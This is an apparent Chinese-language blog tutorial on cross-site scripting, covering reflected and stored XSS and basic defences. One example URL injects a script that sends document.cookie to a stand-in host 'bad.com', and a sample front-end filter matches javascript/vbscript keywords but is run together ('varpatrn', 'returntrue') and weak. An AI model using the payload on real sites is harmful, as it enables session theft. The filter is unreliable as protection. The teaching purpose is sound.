什么是XSS跨站脚本攻击?
主要是用了 src 这个可与跨站的特性
它指的是恶意攻击者往Web页面里插入恶意的html或脚本代码,当用户浏览该页面时,嵌入Web里面的恶意代码会被执行,从而达到
攻击者的特殊目的。
分成两种:
一种是:可信任链接骗人来点击,目的是劫持用户的cookie;
另一种是:该脚本已经通过此方法注入了DB,每次有人浏览正常的该网站链接都会执行该脚本,理论上JS能做的都可以做。
1、网站A存在XSS漏洞,比如search.jsp页面:<%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%>This is my JSP page. <% request.getParameter("keyword"); %>2、在受害者登录A网站后,攻击者构造了一个可信的URL发给受害者:http://a.com/search.jsp?keyword=window.open("http://bad.com?co
okie="+document.cookie)3、受害者点击可信连接4、恶意代码把受害者的cookie发送到B网站,攻击者获取到受害者的用户身份
3、受害者点击可信连接
4、恶意代码把受害者的cookie发送到B网站,攻击者获取到受害者的用户身份
如何防范?
1.输入/输出编码:比如直接将HTML标签最关键的字符:“<”,“ >”,“ &”等编码转义: <,>,&
2.过滤:将onclick、onmouseover、script、style、iframe等字符串去掉,可根据业务需要保留
3.校验:对用户的输入的信息根据业务规则进行校验
XSS防范总结:
1.要对用户的输入的信息根据业务规则校验
2.对输入做校验,要充分验证数据的长度、字符、格式等
3.对输出做编码、转义或过滤,根据业务需求将要置于的HTML上下文中(包括主体、属性、JS、 CSS或URL)对所有的不可信数据进行恰当转义
给个前端过滤栗子
/*****
*
* 防止XSS 注入
*
****/
Jc.util.checkIllegalXssStrCheck =function(sqlstr){
//包含特殊字符返回true
varpatrn = /javascript|jscript|vbscript/i;
if(patrn.test(sqlstr)) {
returntrue;
}
returnfalse;
}
网友评论